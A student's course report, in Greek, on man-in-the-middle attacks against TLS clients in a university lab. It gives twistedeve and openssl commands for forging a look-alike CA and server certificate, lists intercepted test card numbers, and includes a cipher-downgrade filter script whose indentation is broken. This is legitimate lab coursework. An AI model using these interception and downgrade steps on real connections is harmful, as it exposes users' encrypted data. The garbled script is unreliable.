ΕΘΝΙΚΟ ΚΑΙ ΚΑΠΟΔΙΣΤΡΙΑΚΟ ΠΑΝΕΠΙΣΤΗΜΙΟ ΑΘΗΝΩΝ
ΣΧΟΛΗ ΘΕΤΙΚΩΝ ΕΠΙΣΤΗΜΩΝ
ΤΜΗΜΑ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΤΗΛΕΠΙΚΟΙΝΩΝΙΩΝ

ΥΣ13 ΕΑΡΙΝΟ 2014

Project #2

Επίθεσεις Man-in-the-middle εναντίον του TLS

(5 ημέρες καθυστέρησης – πρέπει να αφαιρεθούν ημέρες λόγω των downtimes του sbox)

ΛΟΥΓΙΑΚΗΣ ΧΡΗΣΤΟΣ - 1115200600289

ΑΝΑΦΟΡΑ

Η πρώτη προσπάθεια που επιχείρησα ήταν να τρέξω το twistedeve δίνοντάς του ως όρισμα το πιστοποιητικό και το κλειδί του mysite.com που μας παρείχατε στον φάκελο /var/project2/. Εκτέλεσα δηλαδή την παρακάτω εντολή:

$twistedeve -b localhost:<port> -t localhost:443 -k /var/project2/mysite.com.key -c /var/project2/mysite.com.crt -a localhost:34567

Το αποτέλεσμα ήταν να δω τα δεδομένα του πρώτου(Mr. Blonde) και του τρίτου(Mr. Brown) πελάτη και να πάρω τους αριθμούς των πιστωτικών τους καρτών:

Client 0(Mr. Blonde): cc=4916367183053824&timestamp=1402218145

Client 2(Mr. Brown): cc=4539952351849033&timestamp=1402218145

Ένα πρώτο συμπέρασμα που μπορεί να βγει από το παραπάνω είναι ότι σίγουρα και οι δύο τους δεν ελέγχουν το Common Name(CN) του πιστοποιητικού, γι' αυτό και δέχτηκαν την σύνδεση με το πιστοποιητικό που είναι δημιουργημένο από το ίδιο Certification Authority(CA) αλλά με διαφορετικό CN.

Στην συνέχεια και ακολουθώντας τις οδηγίες του βοηθού του μαθήματος, δημιούργησα το δικό μου CA εκτελώντας τα παρακάτω:

$openssl req -new -x509 -extensions v3_ca -keyout private/cakey.key -out cacert.crt -days 3650 -config ./openssl.cnf

$openssl ca -gencrl -keyfile private/cakey.key -cert cacert.crt -out crl.pem -config ./openssl.cnf

συμπληρώνοντας τα πεδία για το πιστοποιητικό του CA να είναι ίδια με τα πεδία του CA που θέλουμε να υποδυθούμε. Τα δεδομένα αυτά τα πήρα κάνοντας:

$cat /var/project2/mysite.com.crt

Αφού ολοκλήρωσα την δημιουργία του δικού μου CA εκτέλεσα τις παρακάτω εντολές για να φτιάξω ένα πιστοποιητικό που να υποδύεται τον server(webshop):

$openssl genrsa 1024 > private/sbox.di.uoa.gr.key && openssl req -new -key private/sbox.di.uoa.gr.key -out csr/sbox.di.uoa.gr.csr -config ./openssl.cnf

$openssl ca -config openssl.cnf -policy policy_anything -cert cacert.crt -keyfile private/cakey.key -days 365 -out certs/sbox.di.uoa.gr.crt -infiles csr/sbox.di.uoa.gr.csr

συμπληρώνοντας τα πεδία ίδια με αυτά του myshop.com.crt, εκτός από το CN που έβαλα sbox.di.uoa.gr.

Μετά την δημιουργία αυτών των πιστοποιητικών έτρεξα το twistedeve:

$twistedeve -b localhost:<port> -t localhost:443 -k private/sbox.di.uoa.gr.key -c certs/sbox.di.uoa.gr.crt -a localhost:34567

και το αποτέλεσμα που πήρα ήταν να δω τα δεδομένα μόνο του πρώτου(Mr. Blonde). Αυτό με παραξένεψε και ελέγχοντας τα πιστοποιητικά που είχα φτιάξει βρήκα ότι είχα συμπληρώσει λάθος το CN του CA, αντί για SBOX CA είχα βάλει SBOX SA. Κάνοντας αυτό το λάθος όμως φάνηκε ότι ο πρώτος(Mr. Blonde) πελάτης δεν ελέγχει ούτε καν αν γνωρίζει το CA, ενώ όλοι οι υπόλοιποι το κάνουν.

Για να διορθώσω το λάθος δημιούργησα εκ νέου το CA, και στην συνέχεια το πιστοποιητικό του server, αυτή τη φορά με τα σωστά δεδομένα. Δοκιμάζοντας πάλι με την ίδια εντολή, ο πρώτος(Mr. Blonde) προφανώς μου έδειξε τα στοιχεία του και αυτή τη φορά και ένας νέος πελάτης, ο δεύτερος(Mr. Blue) εμφάνισε τα δεδομένα του. Ο αριθμός της πιστωτικής του κάρτας ήταν:

Client 1(Mr. Blue): cc=4556648587399151&timestamp=1402238320

Αυτό σε συνδυασμό με τα παραπάνω μας δείχνει ότι ο δεύτερος(Mr. Blue) πελάτης δεν ελέγχει αν το public key που έχει στην κατοχή του για τον server επαληθεύει την ψηφιακή υπογραφή του πιστοποιητικού, αλλά ελέγχει το CN του πιστοποιητικού. Επίσης μας δείχνει ότι ο τρίτος(Mr. Brown) πελάτης κάνει το αντίστροφο, δηλαδή ελέγχει αν το public key που έχει στην κατοχή του για τον server επαληθεύει την ψηφιακή υπογραφή του πιστοποιητικού, αλλά δεν ελέγχει το CN του πιστοποιητικού.

Οπότε μέχρι τώρα έχουμε έναν πελάτη που δεν κάνει κανέναν έλεγχο και δύο πελάτες όπου κάνουν έλεγχο αν γνωρίζουν το CA με τον έναν να κάνει έλεγχο του CN του πιστοποιητικού και τον άλλον έλεγχο των public key/certificate signature. Επομένως ο επόμενος πελάτης μάλλον κάνει όλους τους παραπάνω ελέγχους. Το μόνο που μπορούμε να εκμεταλλευτούμε σε αυτήν την περίπτωση είναι ότι όλοι δέχονται τα self-signed certificates.

Τρέχοντας την εντολή:

$openssl s_client -showcerts -connect localhost:443

πήρα τις πλήρεις πληροφορίες για το certificate του server. Παρατήρησα ότι το πιστοποιητικό του server είχε και συμπληρωμένο το πεδίο e-mailμε τιμή csec.di@gmail.com, ίδιο δηλαδή με του CA του. Οπότε ξαναέφτιαξα πάλι το δικό μου πιστοποιητικό προσθέτοντας αυτή την πληροφορία, αλλά χωρίς αποτέλεσμα. Μετά από πολλές δοκιμές δεν μπόρεσα να βρω κάποια αδυναμία να εκμεταλλευτώ για τον τέταρτο πελάτη(Mr. Orange).

Για τον πέμπτο(Mr. Pink) πελάτη, τρέχοντας την εντολή:

$twistedeve -b localhost:46878 -t localhost:443 -f /var/project2/filters/tlsinfo.py -a localhost:34567

εντόπισα αδυναμία στην επιλογή των πρωτοκόλλων από την πλευρά του client, διότι συμπεριλαμβανόταν μέσα και το ‘TLS_DH_anon_WITH_AES_256_CBC_SHA’ το οποίο είναι εύκολο να αποκρυπτογραφηθεί. Οπότε σκοπός μου ήταν να πάρω το Client Hello μήνυμα κατά την διάρκεια του Handshake, και να το μετατρέψω με τέτοιον τρόπο ώστε να κάνω τον server να χρησιμοποιήσει αυτό το πρωτόκολλο. Η μετατροπή αυτή θα είναι να πάρω την σουίτα των πρωτοκόλλων που υποστηρίζει ο client και να αφήσω μόνο το ‘TLS_DH_anon_WITH_AES_256_CBC_SHA’ αφαιρώντας όλα τα άλλα.

Για να το πετύχω πήρα το /var/project2/filters/tlsinfo.py και του έκανα κάποιες μετατροπές, συμβουλευόμενος το documentation των κλάσεων του tlslite, για να πετύχω το σκοπό μου. Ουσιαστικά αντικατέστησα την .parse του αντικειμένου ClientHello με μια δική μου parseClient συνάρτηση.

==========
tlsChangeDHanon.py
==========

```
# display TLS version and ciphersuites supported by the client and the server

#The client with the DH_anon in his cipher suite change his data to only DH_anon


from tlslite.utils.compat import stringToBytes, bytesToString

from tlslite.api import *

from tlslite.utils.codec import Parser

from tlslite.messages import ClientHello, ServerHello

from twistedeve.attackshell import bcolors


isInside = False


def handshake(source):

    pass
```

```
def filter(packetNo, data, source, target):
    bytes = stringToBytes(data)

    if packetNo == 0 and 'Client2Server' in str(source):
        p = Parser(bytes[5:])
        p.get(1)
        clientHello = ClientHello()
        clientHello = parseClient(clientHello, p)

                    if isInside:
                            print data + " @@ "
                            data = bytesToString(bytes[:6 ] + clientHello.write())
                            print data

        print bcolors.OKGREEN + "Client supports TLS version: %s" % \
            str(clientHello.client_version)
        print "Client supports ciphersuites: %s" % \
            str([CIPHER_MAP.get(i,i) for i in clientHello.cipher_suites]) \
            + bcolors.ENDC

    elif packetNo == 0 and 'Client2Server' not in str(source):
        p = Parser(bytes[5:])
        p.get(1)
        serverHello = ServerHello()
```

```
        serverHello.parse(p)
        print bcolors.OKGREEN + "Server selected TLS version: %s" % \
            str(serverHello.server_version)
        print "Server selected ciphersuite: %s" % \
            str(CIPHER_MAP.get(serverHello.cipher_suite,
                               serverHello.cipher_suite)) + bcolors.ENDC
    target.write(data)
    return data


def parseClient(client, p):
        if client.ssl2:
                client.client_version = (p.get(1), p.get(1))
                cipherSpecsLength = p.get(2)
                sessionIDLength = p.get(2)
                randomLength = p.get(2)
                client.cipher_suites = p.getFixList(3, int(cipherSpecsLength/3))
                if 0x3A in client.cipher_suites:
                        client.cipher_suites = [0x3A]
                        global isInside
                        isInside = True
                client.session_id = p.getFixBytes(sessionIDLength)
                client.random = p.getFixBytes(randomLength)
                if len(client.random) < 32:
                        zeroBytes = 32-len(client.random)
```

```
                client.random = createByteArrayZeros(zeroBytes) + client.random
        client.compression_methods = [0]#Fake this value


#We're not doing a stopLengthCheck() for SSLv2, oh well..
else:
        p.startLengthCheck(3)
        client.client_version = (p.get(1), p.get(1))
        client.random = p.getFixBytes(32)
        client.session_id = p.getVarBytes(1)
        client.cipher_suites = p.getVarList(2, 2)
        if 0x3A in client.cipher_suites:
                client.cipher_suites = [0x3A]
                global isInside
                isInside = True
        client.compression_methods = p.getVarList(1, 1)
        if not p.atLengthCheck():
                totalExtLength = p.get(2)
                soFar = 0
                while soFar != totalExtLength:
                        extType = p.get(2)
                        extLength = p.get(2)
                        if extType == 6:
                                client.srp_username=bytesToString(p.getVarBytes(1))
                        elif extType == 7:
                                client.certificate_types = p.getVarList(1, 1)
```

```
                else:
                    p.getFixBytes(extLength)
                soFar += 4 + extLength
            p.stopLengthCheck()
        return client


CIPHER_MAP = {}

CIPHER_MAP[0x00] = 'TLS_NULL_WITH_NULL_NULL'
CIPHER_MAP[0x01] = 'TLS_RSA_WITH_NULL_MD5'
CIPHER_MAP[0x02] = 'TLS_RSA_WITH_NULL_SHA'
CIPHER_MAP[0x3B] = 'TLS_RSA_WITH_NULL_SHA256 '
CIPHER_MAP[0x04] = 'TLS_RSA_WITH_RC4_128_MD5'
CIPHER_MAP[0x05] = 'TLS_RSA_WITH_RC4_128_SHA'
CIPHER_MAP[0x0A] = 'TLS_RSA_WITH_3DES_EDE_CBC_SHA'
CIPHER_MAP[0x2F] = 'TLS_RSA_WITH_AES_128_CBC_SHA'
CIPHER_MAP[0x35] = 'TLS_RSA_WITH_AES_256_CBC_SHA'
CIPHER_MAP[0x3C] = 'TLS_RSA_WITH_AES_128_CBC_SHA256'
CIPHER_MAP[0x3D] = 'TLS_RSA_WITH_AES_256_CBC_SHA256'

CIPHER_MAP[0x0D] = 'TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA'
CIPHER_MAP[0x10] = 'TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA'
CIPHER_MAP[0x13] = 'TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA'
CIPHER_MAP[0x16] = 'TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA'
```

CIPHER_MAP[0x30] = 'TLS_DH_DSS_WITH_AES_128_CBC_SHA'

CIPHER_MAP[0x31] = 'TLS_DH_RSA_WITH_AES_128_CBC_SHA'

CIPHER_MAP[0x32] = 'TLS_DHE_DSS_WITH_AES_128_CBC_SHA'

CIPHER_MAP[0x33] = 'TLS_DHE_RSA_WITH_AES_128_CBC_SHA'

CIPHER_MAP[0x36] = 'TLS_DH_DSS_WITH_AES_256_CBC_SHA'

CIPHER_MAP[0x37] = 'TLS_DH_RSA_WITH_AES_256_CBC_SHA'

CIPHER_MAP[0x38] = 'TLS_DHE_DSS_WITH_AES_256_CBC_SHA'

CIPHER_MAP[0x39] = 'TLS_DHE_RSA_WITH_AES_256_CBC_SHA'

CIPHER_MAP[0x3E] = 'TLS_DH_DSS_WITH_AES_128_CBC_SHA256'

CIPHER_MAP[0x3F] = 'TLS_DH_RSA_WITH_AES_128_CBC_SHA256'

CIPHER_MAP[0x40] = 'TLS_DHE_DSS_WITH_AES_128_CBC_SHA256'

CIPHER_MAP[0x67] = 'TLS_DHE_RSA_WITH_AES_128_CBC_SHA256'

CIPHER_MAP[0x68] = 'TLS_DH_DSS_WITH_AES_256_CBC_SHA256'

CIPHER_MAP[0x69] = 'TLS_DH_RSA_WITH_AES_256_CBC_SHA256'

CIPHER_MAP[0x6A] = 'TLS_DHE_DSS_WITH_AES_256_CBC_SHA256'

CIPHER_MAP[0x6B] = 'TLS_DHE_RSA_WITH_AES_256_CBC_SHA256'

CIPHER_MAP[0x18] = 'TLS_DH_anon_WITH_RC4_128_MD5'

CIPHER_MAP[0x1B] = 'TLS_DH_anon_WITH_3DES_EDE_CBC_SHA'

CIPHER_MAP[0x34] = 'TLS_DH_anon_WITH_AES_128_CBC_SHA'

CIPHER_MAP[0x3A] = 'TLS_DH_anon_WITH_AES_256_CBC_SHA'

CIPHER_MAP[0x6C] = 'TLS_DH_anon_WITH_AES_128_CBC_SHA256'

CIPHER_MAP[0x6D] = 'TLS_DH_anon_WITH_AES_256_CBC_SHA256'

==========

Μετά από πολλές δοκιμές και αλλαγές στον κώδικα μέχρι να φτάσει στην τελική του μορφή παραπάνω, δεν κατάφερα να κάνω τον server να χρησιμοποιήσει το πρωτόκολλο που ήθελα. Κατά συνέπεια δεν μπόρεσα να δω τα δεδομένα ούτε του πέμπτου(Mr. Pink) πελάτη.